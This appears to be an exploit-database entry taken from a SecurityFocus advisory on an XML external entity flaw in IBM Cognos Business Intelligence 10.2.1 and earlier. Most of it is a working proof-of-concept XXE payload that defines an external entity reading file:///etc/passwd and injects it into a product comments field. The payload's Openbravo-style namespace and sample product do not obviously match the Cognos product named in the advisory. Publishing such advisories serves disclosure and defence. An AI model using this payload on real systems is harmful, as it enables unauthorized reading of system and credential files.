source: https://www.securityfocus.com/bid/63719/info IBM Cognos Business Intelligence is prone to an information-disclosure vulnerability due to an error when parsing XML external entities. An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. IBM Cognos Business Intelligence 10.2.1 and prior are vulnerable. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT comments ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <ob:Openbravo xmlns:ob="http://www.example.com" xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance"> <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L"> <id>C970393BDF6C43E2B030D23482D88EED</id> <comments>&xxe;</comments> </Product> </ob:Openbravo>